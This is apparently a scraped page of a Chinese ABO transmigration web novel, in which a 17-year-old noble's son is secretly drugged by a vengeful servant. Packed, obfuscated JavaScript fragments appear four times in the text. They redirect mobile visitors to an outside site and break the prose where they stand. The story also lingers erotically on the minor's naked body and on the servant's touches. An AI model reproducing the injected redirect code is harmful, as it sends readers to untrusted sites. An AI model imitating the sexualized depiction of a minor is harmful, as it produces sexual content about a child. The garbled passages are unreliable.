《在虐文里拿沙雕剧本[快穿]》 1. 第一章 [这胎记不错啊,怎么就是肿了?] 早上起来,祁许坐在床上,穿着一件薄睡衣,他扒着自己背部看着。 祁许:[那小子睡了我?] 祁许的眼睛瞬间亮了。 系统:[你这小屁孩能不能想点好的,怎的天天想让别人睡了你??] 祁许:[哎嘿嘿嘿,我昨天醉的不省人事,那小子还没行动吗,这么好的机会,太可惜了。我这小腿光滑细腻的,我自己都想啃一口。] 系统:[……恩那恩那,任务都没做就想这想那的。] 系统:[那小子可不能惹,一惹就完蛋了,到时候可没你消停的时候。] 祁许:[okok知道了。] 系统:[你这小屁孩又想些什么了?] 祁许:[没啊,我是多么单纯的一只祖国的向日葵啊。] 系统:[别侮辱我的脑子。] 祁许上辈子是个苦逼天天接稿的小画家,一朝赶稿半夜嗝屁,终于把自己肝没了。 再睁眼,一个口音贼拉亲切的系统找上门:[恁得去那旮沓的虐文世界走一遭,拯救剧情嗷!] 祁许眼睛一亮:[有素材吗?] 系统:[啥?] 祁许:[帅哥反派!偏执!强制爱!斯哈斯哈——] 系统:[……恁正经点儿!] 于是,祁许揣着他的小本本,冲了。 他现在的身份是诺尔帝国的罗伊大将军的小儿子—康诺。 康诺今年十七岁,是皇室血脉,又是功臣的儿子,平日里就受尽了宠爱。 他更是寄予厚望,即将成为下一任的大将军,统领兵团。 可这个世界十八岁开始分化abo。 几乎没人知道康诺十八岁会分化成omega。 这是皇室血脉的耻辱。 只有纯正的alpha才能统领兵团,康诺一落千丈,从此失踪,帝国也被夺取。 而祁许的任务就是改变自己的结局,顺带拯救一下这个故事中的主角,帝国的亲女儿,他的妹妹,现在应该不知道在哪里受苦。 可实际上,这些早已是康诺注定的结局,他也早就知道,这些都是他身边的贴身仆人凯尔精心设计。 凯尔是这个世界的大反派,他的帝国毁灭后便被当做人质转卖,最后到了康诺的手上,与他一同长大,贴身服侍康诺。 凯尔不是个普通人,康诺的父亲便是他的灭国仇人,可这么多年,他就这么一声不吭的待在他们身边,任劳任怨的服侍着“小少爷”。 本该享受着荣华富贵的人却甘愿低声下气的当着仆人。 康诺想想都感觉心寒。 凯尔阴厉,狠心,杀人不眨眼,在康诺分化成omega后就立刻杀了这个纨绔小少爷。 最后夺取了这个帝国的兵团,掌握了实权。 [听说康诺下半身都没了?] 祁许说道:[那多可惜啊。] 系统:[瞅你一天天的,再不认真做任务,何止下半身,脑袋都给你拔了。] 祁许:[统哥~我会好好做任务的,我还等着攒素材画我的小漫画呢。] 系统:[……] 祁许:[统哥,你可不能搞歧视,咱都是赚钱的工作,正经的呢。] 系统:[] “小少爷,你醒了吗?” 清风冷冽的好听嗓音响起。 祁许抬头,看到了凯尔穿着紧致的西尾服,强壮的肌肉显露无疑,他站在那里单手端着盘子,五官深邃英俊,下颌线完美,噙着淡淡的笑意,唇边有一颗痣。 他的眼神漫上了朦胧的迷雾,将狠厉锋芒尽收眼底。 祁许:[啊啊啊今天的狗子更帅了。] 康诺揉了揉眼睛,他打了一个哈气。 软软的少年睡衣滑落了一侧,露出了香嫩白皙的玉肩,他慢吞吞的抬起细嫩的胳膊,揉着眼睛,眼角噙着刚醒来的泪水,像是个沾着露水的花骨朵。 他站了起来,露出了大腿,那更是细嫩白皙,修长瘦削,皮肤吹弹可破,掐一下似乎都能掐出水来似的。 凯尔视线沉了一下,他微微笑着,把放着酸奶的盘子放了下来,右手还拿着衣服挂在了臂膀上,慢慢走近祁许的身旁。 “少爷,昨日的衣服拿去洗了,这是新的,还是您最爱的款式。” 祁许没有什么反应,只是点了点头,把睡衣随意的一脱,从肩上慢慢滑落到脚踝处,就这么光溜溜的站在了凯尔的面前。 凯尔慢慢拿着衣裳,套在了小少爷的身上。 凯尔的手掌有些热,摩挲在他的白皙皮肤上,祁许不可抑制的颤抖了一下。 康诺忍不住说道:“轻点,凯尔,越来越不知轻重了。” 康诺看了他一眼,凯尔的胳膊上都是明显的肌肉,康诺微微皱了下眉毛。 “凯尔,为什么我还没长出像你这样的肌肉。” 凯尔低下了头,看不清他的视线和脸庞。 只听到他带着满满歉意的声音。 “对不起,少爷,我轻一点。少爷只是因为还没长大而已,等18岁分化以后就好了。” 祁许:[狗子还会嘲讽了,就这谎话也就我信了。] 康诺像是忽然想起来什么似的,小少爷满脸的不耐烦,指着自己的背部道。 “凯尔,你先给我看看,我的背部早上起来就火燎燎的疼,昨晚喝的有点多,不知道是不是撞到哪了,我看不见。” “是吗,小少爷,凯尔帮你看看。” 凯尔掀开了小少爷的衣裳,凑近了贴在小少爷的背部,微热的气息都扑打在了腰肢最敏感细腻的皮肤处,小少爷浑身都不自觉的颤抖了一下。 “啧,叫你看一眼又不是靠的那么近,我疼死了你知不知道。” 小少爷说着,正想转身推开,却因为腰肢被凯尔握住了,一转身脚滑在了床单下,直直朝着床下摔去。 凯尔立刻抓住了他的胳膊,让他往自己的怀里带。 小少爷轻飘飘的,一拉就拉到了自己的怀里,他还摸着小少爷腰肢上的胎记。 那里软乎乎的,摸起来最舒服了。 小少爷却像惊着了,半天没有说出一句话,软趴趴的躺着他的怀里喘气。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305243|198697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >祁许:[狗子这招猴子偷腰不错啊,昨天都不知道嘬过多少遍了,今天还不肯放手,到处揩油,害,我喜欢。] 系统:[真呸。] “少爷,可能是磕哪了吧,有点红,过一会凯尔给你上点药就好了。” 凯尔熟呢的抬起手,轻轻摸着康诺的脑袋,像哄孩子一样。 小少爷的情绪渐渐平息了下来。 他推开了凯尔,气鼓鼓的,小脸颊都鼓成了河豚样。 “那你还不快点,还在这磨磨唧唧。” “小少爷,先把酸奶喝了,衣服都还没有穿好呢。” 凯尔眼角噙着笑,他轻轻拿起酸奶往里面放了一根吸管,一手扶着瓶口,一手接着底部,双手递给康诺。 祁许:[你说狗子要在奶里面放东西,干嘛不放点更带劲的。] 系统:[我不听我不听,别跟我说话。] 即使知道每天的酸奶里面都放了催使分化的药物,他还是接过酸奶一口闷住了吸管,小嘴巴一鼓一鼓的喝着,像只小仓鼠似的,软软的喉咙上下滚动着,一口气喝到了底部。 喝完了,他才一副不满意的模样。 “凯尔,今天的酸奶怎么更酸了?” “少爷,更酸的酸奶说明更健康,少爷只要坚持喝下去,总有一天也能有强壮的身体的。” 凯尔微微笑了一下,他嘴边一颗痣牵动起来,瞬间让整个笑容都充满了魅惑力。 康诺一听强壮的身体,就点了点头。 “那就好了。” 祁许:[真好骗,啧啧啧,我这么好骗,他怎么每天都什么不干呢。] 系统:[……] 凯尔给康诺一个一个的系着扣子。 凯尔微微抬眼看着,就看到了他那湿润的唇,饱满还带着点晶莹,诱惑十足。 凯尔却慢慢敛下了心神,只静静的扣着扣子。 他的动作细致极了,眼底只看得到一片温柔。 祁许:[统子,每天都有大帅哥贴身照顾真是太好了,下次还给我这样的哈。] 系统:[只要你任务做的好,没有你吃亏的地方。] 祁许:[别老是说我了。] 祁许:[天天听你讲,我还能不会吗。] 康诺对他说:“给我带领带吧。” 凯尔微微俯身,一只手放在前胸上,低声答道:“好的,少爷。” “你吃过了吗?” 康诺忽然转身,对着他说道。 凯尔微微愣了一下,对着他笑道。 “还没吃。” “现在就去吃,不用跟着我了。” 康诺如此冷淡的说着,浑然不在乎他的心情,一有事就踢开了他。 凯尔的视线微微波动了一下,但他依旧跪了下来,俯身说道:“好的,少爷。” 祁许:[我怎么感觉今天晚上他要干点什么了,其实我那胎记还真有点疼,下次亲其他地方多好啊,总是嘬胎记。] 系统:[往下来点不更好。] 祁许:[统哥!你开窍了!] 系统:[滚吧,我还不知道你。] 2. 第二章 康诺和父亲罗伊走在一块。 罗伊穿着银铠甲,身高两米,雄武强壮,满身都是腱子肉。 这么一对比,康诺小小的一团,差距太明显了。 祁许:[要是我是罗伊,我肯定怀疑这是我儿子吗?这身型差距也太大了,他一掌就能把我拍死。] 系统:[捏死你这个孙子也可以。] 祁许:[坑逼小说,都不注重人物比例,逻辑bug还那么多。] 系统:[帅哥又不香了?] 祁许:[香香!]他瞬间发出了流口水的声音。 祁许:[只要有凯尔,其他一切都无所谓。] 康诺也很懊恼,他虽然说是个纨绔小少爷,但对于自己的职责也很清晰,他知道以后自己是要当大将军的人,可是现在的实力却远远不够,他心里的压力也很大。 对于父亲,他总是害怕。 康诺渐渐低下了头,一只些许粗糙的手掌却忽然握住了他的脑袋,轻柔的揉着头发。 手掌很温暖,康诺抬起了头。 只见罗伊蹲了下来,努力将庞大的身躯缩了起来,睁着可怜巴巴大眼睛。 “小康诺,最近爸爸都没怎么陪你,是不是对爸爸生气了,怎么不理爸爸呢。” 康诺眨了眨眼。 祁许:[卧槽这反差有点大,我看他的脸感觉好凶,怎么还撒上娇了?] “小康诺连爸爸都不叫了,真的讨厌爸爸了吗,爸爸以后多多陪你好不好,你最近想要什么,爸爸都给你买,不要不理爸爸好不好。” 面前的大块头带着全身的肌肉摇晃,那视觉的冲击力不是一般的大。 康诺连忙摆起了脸,撇过脸颊不看,插着腰,气呼呼的鼓着脸。 “爸爸,谁让你都不陪康诺的。” 他尽力的撇过视线,看不到罗伊的神情。 然而还是忍不住偷偷看了他一眼,这一眼,康诺就后悔了。 只见这大块头撅着嘴,眼眶红润,竟然都要哭了。 “小康诺理爸爸就好了,爸爸好开心。小康诺,最近有什么好玩的事和爸爸分享吗,爸爸每天都到外面打仗好无聊啊。” 祁许:[我知道康诺为什么怕他爸了,我滴乖乖,天天看着这么一个大块头在面前撒娇,谁受得住啊。] 系统:[倒也没有天天,康诺怕他爸也是真的,只不过都是几年才能看到一次罗伊,可能小时候就有什么阴影了吧。] 罗伊抱起了康诺,捏了捏他的肩膀,忍不住皱着眉道:“小康诺,怎么又瘦了呢,平时要好好吃饭,照顾好自己。” “对了,小康诺,你想不想吃大龙虾,我让人给你弄,一会去宴会就陪在爸爸身边就可以了。” 祁许:[呜呜呜爸爸太好了,这活脱脱就是个儿子控啊。] 系统:[你确定不是为了大龙虾?] 祁许:[当然不是啦。] 系统:[刚刚哪个说都是bug?] 祁许:[嘿嘿嘿我爱这个世界。] 晚宴过后,祁许吃饱喝足,他看了一眼桌子上那比他的头还大的大龙虾,摸了摸实在撑的不行的肚子,他还是站了起来,对着父亲道:“父亲,康诺吃的有点多,去走一走。” 罗伊也是喝多了,一张口就是一股酒味。 “小康诺,是不是肚子疼了,是吃多了感觉不好受吗,我去叫医使来。” “不用了,就是积食,消化消化就好了。” 祁许说完,就走出了餐堂。 “呼……” 祁许摸了下自己跳动的小心脏。 “统哥,我现在的分化程度如何。” 系统:“呦,没想到你还在意任务啊。分化程度52%,凯尔好感度20%,任务进程:你的妹妹玛利亚在一家饭店打工,大概10天左右有机会进城堡。” “都52了,看来今天那酸奶剂量加了不少,不愧是狗贼,系统,用积分兑换缓解催化剂。” 系统:“你在想peach,主角都没来,你哪有任务积分。” 祁许:“……10天太慢了吧,等主角过来,我早就分化成o了吧。” 系统:“对啊,原世界就是这样的,不然你妹回来还能继承城堡嘛。要你有什么用!” 祁许:“好好好,目前我还不能这么快就分化,至少要等到主角玛利亚到城堡,到时候我再跟父亲说自己不想继承城堡,只当个默默无闻的幕后人,再帮玛利亚对付凯尔。唉,到时候凯尔发现自己的计划推迟,恐怕会直接撕破脸皮吧。其实凯尔贴身照顾的也挺好的,还是个大帅哥。” 系统:“赶紧做完任务,下个世界还给你大帅哥。” 祁许:“好嘞。” 祁许还没等走到过道,就在过道阳光的阴影交切处看到了凯尔的魁梧的身影。 身高两米就是不一样,那影子都拉的老长。 “小少爷。” 凯尔微微俯身。 “你怎么来了。” “作为仆人,我本就该贴身陪护在少爷身旁,再说了,少爷有胃病,本来就不应该再多吃这种油盐重的……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305244|198697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一抬头就看见了康诺圆滚滚的小肚子。 凯尔:…… “嗝。这次好像确实吃的有点多,不过没事。” 祁许一边高兴的摸着小肚子,一边慢悠悠的走着。 10分钟后… “凯尔,救命!我肚子好痛。” 凯尔还在门外就听到了小少爷屋内传来的喊叫声和东西掉落在地的嘈杂声。 他打开了门,康诺跪趴在地上,双手紧紧捂着肚子,浑身发抖,身上单薄的白衬都被抓的满是褶皱。 凯尔走了过去,一只腿微弯,捏住小少爷的下巴,将他的头抬了起来。 小少爷双眼红通通的,晶莹的泪水挂在眼角,小脸皱巴着,口中抑制不住的流着口水,流到了锁骨,再滴到了地上。 “小少爷,可是胃疼了。” 凯尔看着那滴口水,眼中精光一闪,只看着康诺问着。 祁许已经痛的说不出话了。 浑身抽搐,胃部像是被一只大手扭曲,痛的不行,他只虚弱的颤抖着:“是…是。” 双眼渐渐的迷离。 凯尔打横将康诺抱起,先将他扶在了床上。 “小少爷,稍等,我立刻去拿胃药。” 凯尔很快拿来了胃药,给小少爷喂了进去。 祁许顿时感觉好了许多。 他的眼神迷离微睁,看着凯尔。 “糖……糖。” 康诺每次吃完药都要吃糖,以前是为了防止药苦,现在就完全成了习惯。 凯尔自然是带了,拿着棒棒糖,他看了一眼小少爷,单薄的白衬露出了他白皙瘦削的锁骨。多么瘦削的身体。 这小少爷虽受尽宠爱,但从小就带的严重胃病一直让他处于一种营养不良的状态。 终究是娇贵罢了。 要是这娇贵小少爷落得与自己一样的处境,恐怕早就被淘汰杀死了。 凯尔微微睁了睁狭长的眼睛。 他感受着手心里感觉痒痒的,内心里似乎有什么东西在发酵。 “唔。” 小少爷唔了一声。 凯尔忽然回过了神,却依旧没有松开手。 糖果抵着喉咙,康诺的眼睛顿时就红了,泪水不断的涌出,本来就迷离的意识更加晕眩。 “咳咳咳。” 他再也抵挡不住,开始猛烈咳嗽了起来。 凯尔这才将糖果收回,扶着康诺慢慢拍拍他的背。 “少爷吃太急了。” 祁许:??? 好一个老狗比。 3. 第三章 祁许:“这老狗比差点让我直接脱离世界。” 系统:“呵呵,我看你心里挺乐呵。” 祁许:“那可不是嘛,撩了这么久这老狗比,每次都纯洁的像个木头棒子,这次终于主动了那么一点点,我怀疑他的智商全都用在谋反上了。” 系统:“人家是大反派,忙着呢,谁跟你这头……” 祁许:? 系统:“我居然想不出来形容你的词。” 祁许:“我那都是工作需要,我的小内心也是纯洁滴不行好不好。” 他说完就开始演了起来。 凯尔看着小少爷深深喘了几口气,目光呆滞的看着他。 “是吗,可能是躺着吃糖不小心卡在喉咙里了。” 那眼神里丝毫没有任何怀疑。 他舔了舔自己的嘴角。 “草莓味的,还挺好吃。” “这剩下的糖果就赏你了。” 他说完,感觉些许疲劳,继续躺在床上,披着被子就侧躺着睡着了。 凯尔望了下手中的沾着口水的糖果,又看了下康诺。 他默默地将糖用手帕包了起来,放进了自己的口袋中。 内心里的荡漾却依旧没有消失,反而有种越来越烈的感觉,他好想让他继续哭。 他摸了摸自己的额头,努力让自己冷静一下。 自顾自安慰着,可能是分化药起了作用,让小少爷身上有了omega的腺体雏形,才会吸引着他吧。 他走近,发觉小少爷果真睡熟了,又忽然笑了起来。 如此轻易没有任何防备就能睡着,可真的是单纯至极。 想起来,平时也很乖,除了有的时候爱闹脾气,那副鼓起来的小脸可爱极了。 他回过神,揉了下太阳穴。 不对,自己是要复仇,怎么会觉得这小少爷可爱,他到时候还要提着他的脑袋向这个帝国宣战,自己…难道心软了? 不,他的字典里没有心软。 眼神再次回归冷漠。 祁许刚醒,就看见面前一张帅脸,还对着他喊:“大朗,该喝药了。” 祁许:“大,大朗?” 他再睁眼,是凯尔。 “大朗是谁?少爷,你该喝药了。” 凯尔正端着一碗药水,弯着腰轻声问着。 祁许才回过神。 “哦,我听错了。” 他接过碗,刚要喝下药水,忽然想起了什么。 大朗是谁,大朗不就是他嘛! 好家伙,这药这么浓烈的分化剂的味道,怎么这次加了那么多。 祁许确实是有些怂了,看了他一眼。 “这药闻起来好难闻,我不喝。” “少爷,你忘记你胡吃海喝又犯胃病的事了吗,多喝点药对你的身体好。” 我再喝那直接给我送走了。 祁许咳了咳,他撅着一副小脸。 “我就不想喝,给我拿走吧。” 祁许:“这老狗比怎么突然要加快速度了。” 系统:“目前凯尔好感度-50。” 祁许:“??” 祁许:“我干了什么直接就-50了。不对,这老狗比的思维那肯定不能拿常人的思维来想。他这是爱我深切啊。” 系统:“……” 没见过你这么自恋的。 “少爷既然不想喝,我也不能强迫少爷喝,一会还是煮点粥过来吧。” 凯尔轻轻勾唇轻笑。 “嗯,你快去准备吧。我睡得多了走一走。” 祁许努力挡着这迷人的危险的微笑。 随便套了件大衣就下了床。 他走在房间外,转了一圈,忽然想到了一个好主意。 “系统,我想到了一个bug。” 系统:“嗯?” “凯尔为什么杀我,就是想让皇权感到威胁,就是让这城堡后继无人,而我的任务是什么,就是让自己安全顺便再帮真女主玛利亚嘛!可是这小少爷身份也是挡在玛利亚前面的一堵墙,可有个方法,可以全都解决。” 系统:“我怎么有种不祥的预感。” 祁许:“我要假死。让小皇帝的身份作废,这样子凯尔也不会非要让我再喝分化剂还要杀我了,我不仅安全还不会妨碍到真女主掌权。” “完美,太完美了。” 系统:“欧呦,没想到你还聪明了这一次。” 系统:“那你要怎么假死?” 祁许:“既然要假死,那肯定不会白死,找个人暗杀凯尔,然后我到时候英雄救美,替他挡刀,把凯尔好感度刷满。这不就行了。” 系统:“那,谁去暗杀?” 祁许:“……你。” 系统:“我?” 祁许:“在这个世界里谁能暗杀到大反派,大反派那就已经是武力值顶峰了,所以找普通人没用,到时候我还没救,凯尔那都解决光了。” “可是你不一样,你可是系统啊。” 系统:…… “我就知道你不想好的。” 祁许:“而且也只有你能跟我完美配合假死啊,没事的,不就是化个形嘛,天天待在人家脑子里也不嫌麻烦。” 系统:“???”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祁许:“太像了。”他感叹的摇头拍手:“简直就是杀手本手。不过统哥你好歹穿件衣服吧,我瞬间以为我进错次元了。” 系统:…… 祁许拍拍他的肩:“这重要任务就交给你了,记住啊,10分钟后引到我的门前打,然后我出来英雄救美。” 4. 第四章 凯尔回到了自己的房间,他脱下了自己的外套,叠好后放进衣柜中,衣柜里有一个暗盒,他打开暗盒,里面放着那颗草莓味的棒棒糖。 他看了好几分钟,看了很久才拿起来,微微伸出舌头尝试,甜蜜的滋味瞬间从舌尖蔓延至口腔深处。 好甜。 可惜他已经过了吃糖的年纪了。 他将糖果继续收进暗盒,放好再将其关好。 他正欲脱下内衣,忽见一个穿着全身黑衣的人在窗外。 他顿觉蹊跷。 他安插在城堡里的人都没有动,不可能是他们。 凯尔立刻穿上了衣服,拿起刀,他小心翼翼的靠近窗户,打开窗户,外边似乎没有人,他探出头。 只见风挂着下面花园里的花叶,轻轻飘动。 忽然,银光忽闪,只见一把大刀在他的头顶,就这么气势汹汹的砍向他。 凯尔立刻缩回头往后一个后滚翻。 “谁?” 黑衣人没有回话,直接冲进来就要砍他,如此迅猛敏捷,很明显,他的目标就是他。 有人要杀自己? 正当他如此想着,黑衣人又忽然停下进攻,转而向着其他方向逃跑。 凯尔追上,追了两三步,他忽然停了下来。 不宜让城堡里的人知道他会剑术。 这黑衣人出现的也很奇怪,总感觉哪里都不对劲,他还是决定按兵不动。 于是,他打算回房间。 祁许刚听到脚步声就打开了门,他一看统哥后面没人,就知道计划失败了。 好家伙,看来还是坑不了凯尔。 “凯尔,救命!” 凯尔顿时愣住,刚才那是康诺的声音。 难道那黑衣人要杀康诺。 那与他岂不是同一个目的。 他思索一会,便冲向康诺的房间。 只见那黑衣人一只手拦住康诺的脖子,一只手拿着一把刀。 祁许:“统哥,现在只能在混战中让我英雄救美了。” 系统:…… “你要要挟少爷?” 凯尔微微皱了下眉。 “这样,你不要伤害少爷,我知道你的目的是我,我与他交换。” 祁许:“好,统哥你答应他,然后就在交换的过程中你出手,这样我再帮他挡。” 只见黑影点头,慢慢向凯尔的方向靠近。 凯尔也慢慢移动。 就在二人交换的时候,黑影突然出手,然而…还没等碰到,凯尔就立刻倒在了地上。 祁许:“??” 只见凯尔捂着腹部,眉头紧皱。 “少爷,我没用,刚才碰到这位杀手,我就是个普通人,打不过受伤了,你快跑,我拖住他。” 祁许:“???” 好家伙,不愧是老狗子,这演戏能力可真是一绝。 他还没反应过来,这老狗子已经晕厥了。 祁许只好将计就计。 “我既然是帝国继承人,就不能连一个仆人都保护不了。” “ps.统哥,快把我也打晕。” 系统:“??” 这都是些什么事,他当即就给了康诺一棒。 等祁许醒来的时候,他正和凯尔一起绑在一处黑暗的地下室中。 没有统哥保护,这身体还真的柔弱啊,一打就晕。 祁许想揉揉自己的脖子,发现自己的手也绑住了,不止手,甚至是脚,还把眼睛和嘴巴都蒙住了。 祁许:“统哥,你怎么真绑啊。” 系统:“做戏做全套。” 祁许:“我怀疑你在公报私仇。” 祁许感受到了凯尔似乎也醒了,立刻演了起来。 凯尔根本就没昏,他怀疑这是小少爷的陷阱,那黑衣人怎么就偏偏跑到他的房间,还对皇宫这么了如指掌。 可这么一看,康诺晕厥的时候和被绑的时候,都一点反应都没有,而且,他醒来的时候,甚至还在颤抖。 他的单薄身子就靠在他的背后。 刚才应该是醒了,呼吸都变得有些沉重,发现自己双手双脚被绑还看不见的时候,顿时就怕的抖了起来。 他也是同样的状况,只不过这绳子对他来说很轻松,所以他只是为了观察。 黑衣人却将他的眼罩拿了下来,将他推到了另一处地方。 那小少爷没有人依靠着,又看不见,顿时身体颤抖的更严重了。 “唔唔唔唔。” 黑影拿着一杯水,让凯尔拿着,然后将他直接推在康诺的面前,将水洒倒,滴在了那小少爷的裤子上。 小少爷的颤抖忽然停止了,他似乎也感受到了裤间湿哒哒的水,他连动都不敢动,小脸唰的就红了。 凯尔瞬间想起了,小时候康诺就非常讨厌自己遗尿,遗尿了之后就喜欢把床单藏起来,还会自己赌气一整天。害得每次保姆都要找好久,找到了这小少爷就会满脸通红,又气又羞,羞愧的不行。 视线蒙住五官都有些受影响,他没分辨出这是水。 康诺顿了一会就又开始挣扎了,手腕都挣扎的红了一圈。 眼罩却忽然滴下了一滴泪。 凯尔瞬间愣住了。 黑衣人这时却直接离开了,将地下室的门用大铁链锁住。 凯尔将堵住嘴的布挑开,他对康诺道:“少爷,那是水,那不是…” 谁知这么一说,小少爷更加慌乱了,努力缩着身子,缩着颤颤巍巍的大腿,脸红的不行。 他能感觉到小少爷真的羞愧的不行了,根本无法脱离遗尿的认知。 凯尔忽然滞住了,这样的小少爷,好可爱,看起来……好想调戏。 “少爷,我帮你清理一下。” 小少爷快速的摇了摇头。 很明显他不想让任何人碰那里。 凯尔继续说道:“少爷,那里会很难受,我先帮你把裤子换掉,给你套上我的外套。” 凯尔一碰到小少爷,小少爷浑身抖动的更加剧烈了。他撇过头,明明看不见,却还是想找个地上藏起来缩起来。 凯尔的双手被绑,也只能艰难的帮忙脱,有的时候没用准力气,碰到已经湿透的地方,小少爷就忍不住发出一声闷哼。 等到脱完裤子,凯尔快速的将外套撕咬下来,正欲盖在小少爷的腿上。 这小少爷已经哭出了声。 “呜呜呜。” 他这一看,小少爷已经泪流满面,看来是他的羞愧欲已经达到极点了。 他将他的眼罩拿了下来,小少爷长长的睫毛上满是泪珠,眼睛都哭肿了,他没适应忽然能看到的光,先是眯了一会,等看到凯尔却羞的扭过了头。 “对不起,凯尔,我好脏。” 凯尔顿时怔住了。 太可爱了,简直可爱到爆炸。 那强烈的占有欲疯了般的增长。 “少爷,你是最干净的。” 康诺似是没有听到一样,仍扭向另外一边低声抽泣着。 凯尔已经被小少爷给迷住,将外套盖在他腿上,靠近他,紧贴着他。 起初,小少爷还抗拒、推搡,不让人靠近,但在凯尔温声安慰下渐渐平静了下来。 “我…我不脏。” “小少爷不脏,小少爷是最干净的。” 祁许暗暗在心底给自己的这波演技点了个大大的赞。 “我帮你把绳解开。”康诺小心翼翼的挪着,与凯尔背对着背。 “小少爷,还是我帮你吧。” 康诺率先动起手来,背对着什么也看不到,使得有些绳结越勒越紧,小少爷都快急哭了,呼吸也越来越急促,声音也带着哭腔:“我怎么这么笨啊,解个绳子都解不开。” 一番无用功下来,倒是让凯尔少了丝疑心,他耐心安慰道:“小少爷不笨,只是背对着背看不到,加之心急,就打不开了。” 凯尔握住康诺的手,小少爷娇生惯养,细皮嫩肉的,十分好摸。 祁许:害,这大帅哥又揩油,嘿嘿,我喜欢。 两人解开了绳索后就准备从地下室逃出去,不料屋子里响起了警报。 康诺拉起凯尔就往门口跑去,到地下室的门被大铁链锁住,根本打不开。 祁许无语看着那把超级大的锁无语。 祁许:你弄这么大的锁,生怕我能出去是吧。 系统:做戏做全套啊。 警报依旧响着,康诺着急得跳脚。 系统:那锁用力锤它就开了。 祁许:你不早说。 康诺突然往地下室深处走去,凯尔看着他,那抹猜忌又浮上心来。 康诺在远处起跑助力,然后用自己的娇小的身躯撞门。 凯尔赶忙拦住他换自己来,门开,黑衣人正朝这边走来,康诺不由得攥紧凯尔的衣服,凯尔作势将康诺拦在身后。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305246|198697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑衣人动手极快,凯尔也不是个省油的,两人竟打得不相上下。 这样下去也不是个办法,地下室杂物多,康诺趁他们不注意进入拿了根又长又粗的木头,对着黑衣人的后背狠狠的打了一棍子。 黑衣人一顿,康诺连忙拉着凯尔就往外跑,还不忘了踹黑衣人一脚。 正好踹在了腿弯处,黑衣人没站稳跪了下去,看着准备跑走的两人,伸出手抓住那近在眼前的白皙的脚踝,康诺栽倒在地。 祁许:我确定了,你就是在公报私仇。 系统:嘿嘿,误会,做戏做全套嘛。 康诺吓得乱蹬腿,看见凯尔想过来,忙说:“你快走,快速找我父亲来。” “啊!”黑衣人一声惨叫,因为康诺乱蹬一脚踢到了他脸上。 康诺来不及细想站起来就想跑,但由于刚刚载倒时磕到了膝盖,现下压根儿就没法走路。 “小少爷,我背你。”凯尔看到康诺膝盖上的血痕,心底虽还有疑虑,但也消了大半,他如此卖力逃脱,恐怕这件事真不是他指使。 凯尔不想看到他在自己面前受伤,况且这也是他的职责。 娇生惯养惯了的人儿,哪里能受得了一点苦楚,吃点药都还要找糖吃。 康诺抬头,因为疼痛,眼圈一周都开始泛红,眼泪马上就要夺出框来。 怕黑衣人又过来,凯尔打横抱起康诺就往外跑,“得罪了小少爷。” 康诺抱紧凯尔的脖子,十分乖巧的把自己埋在凯尔的胸口。 呼出的气体扑在凯尔的胸膛上,扰动着他的心弦。 多次回头,黑衣人并没有追上来,凯尔松了一口气的同时在找回去的路。 东奔西窜,终于看见了熟悉的宫殿,回到小少爷的卧房,将康诺轻轻的放在床上,凯尔拿出常备的医药箱。 “小少爷我为你上药。”凯尔跪在康诺脚边,从箱子里拿出药水,轻手轻脚的卷起康诺的裤子。 原本细皮嫩肉的地方现在都已经破皮,泛出星星点点的血丝,凯尔轻轻捧起白皙的双腿,用棉签蘸拭药水,擦在伤口上。 膝盖处传来乱箭攒心般的疼痛,康诺咬紧牙关,强忍着泪水不让他滴下来。 说到底是个小少爷,温室里长大的,哪里吃过这般苦楚,只这一点疼痛都要掉眼泪的,也不知之前是哪里来的勇气。 凯尔尽量动作轻柔,膝盖擦完药,抬头就看见小少爷脸上挂满了小水珠,用指腹给他拭去。 “小少爷忍忍,一会就好了。” 凯尔看着娇滴滴的小少爷,这样单纯可爱的人儿,能想出什么害人的招。 “嗯嗯。”康诺乖乖的点头。 “身上有伤吗?”凯尔站起身。 “我不知道。”康诺摇摇头。 “我还是给小少爷看看吧。”凯尔说着就过来为康诺脱衣服,康诺也不拒绝。 衣服被丢置一边,皓月凝脂般的肌肤上遍布着纵纵横横的红痕,看起来触目惊心。 “怎么样?有伤吗?”康诺扭头疑惑的问,他什么也看不到。 “有的,绳子的勒痕。”因着绳子是捆着全身的,所以手臂上也有,凯尔指着红痕给他看。 